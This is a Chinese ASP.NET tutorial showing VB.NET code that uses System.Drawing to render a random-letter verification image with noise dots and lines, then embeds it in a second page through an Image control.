ASP.Net:System.Drawing的使用

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>利用GDI+绘制图形时候,使用的是System.Drawing名称空间下重要类:Graphics类。本节我们讲通过实例模拟现在网站流行的随机验证码功能。功能描述:在生成的的图片上,随机显示几位数字或字幕,用于用户输入操作。

    在GDITec Web应用程序里,添加一个Web窗体,命名为GDI_Sample2.aspx,我们来设计逻辑代码:

    '-----code begin-----
    Imports System.Drawing
    Imports System.Drawing.Bitmap
    Imports System.Drawing.Graphics
    Imports System.Drawing.Imaging
    Public Class GDI_Sample2
    Inherits System.Web.UI.Page
    #Region " Web 窗体设计器生成的代码 "
    '此处省略了窗体设计器生成的代码
    #End Region
    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    '在此处放置初始化页的用户代码
    Dim objBitmap As Bitmap
    Dim i As Integer
    '声明随机种子,用来随机产生1000个象素点的坐标
    Dim objRandom As Random
    '声明画布对象
    objBitmap = New Bitmap(150, 50)
    '声明Graphics对象
    Dim objGraphics As Graphics
    '指定画布
    objGraphics = Graphics.FromImage(objBitmap)
    '设置背景
    objGraphics.Clear(Color.Violet)
    '声明随机种子
    objRandom = New Random
    '生成随机的500掺杂点
    For i = 1 To 500
    objBitmap.SetPixel(objRandom.Next(150), objRandom.Next(50), Color.Snow)
    ' objBitmap.SetPixel的方法是绘制点,参数3个,分别是X,Y ,Color
    Next
    For i = 1 To 5
    '声明并定义字体,字体大小在10-25之间随机
    Dim objfont As Font = New Font("宋体", objRandom.Next(10, 35), FontStyle.Bold)
    objGraphics.DrawString(Chr(objRandom.Next(Asc("A"), Asc("Z"))), objfont, Brushes.Black, 30 * (i - 1), objRandom.Next(20))
    'objGraphics.DrawString(的重载有6种,上句中的参数分别是字符串,字体,画笔,X,Y
    Next
    ' 声明画笔对象,
    Dim objpen As Pen
    '生成5条随机的彩线,对生成的8个字符上面画线
    For i = 1 To 8
    '实例化画笔,并设置随机生成画笔颜色,定义画笔笔触大小为1个象素
    objpen = New Pen(Color.FromArgb(objRandom.Next(255), objRandom.Next(255), objRandom.Next(255)), 1)
    objGraphics.DrawLine(objpen, objRandom.Next(150), objRandom.Next(50), objRandom.Next(150), objRandom.Next(50))
    'objgraphics.DrawLine 共有4种重载函数,这里我们使用的四个参数分别是画笔,X1,Y1,X2,Y2
    Next
    '将objGraphics对象以指定的图形格式(这里是Gif)保存到指定的Stream对象,并输出到客户端。
    objBitmap.Save(Response.OutputStream, Drawing.Imaging.ImageFormat.Gif)
    End Sub
    End Class
    '-----code end ------

   保存编译后,运行结果如图11.2所示。


图11.2 GDI_Sample2.aspx运行结果


    如果要在应用程序用使用GDI_Sample2.aspx生成图片的功能,必须有另外一个Web页面引用。

    我们再新建一个Web页面,命名为GDI_Sample3.aspx,添加一个Image控件,设置Image控件的属性:

    <asp:Image id="Image1" runat="server" Width="141px" Height="51px"

    ImageUrl="GDI_Sample2.aspx"

    ></asp:Image>

    将GDI_Sample3.aspx保存编译后,预览如图11.3所示。


图11.3 GDI_Sample3.aspx运行结果

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值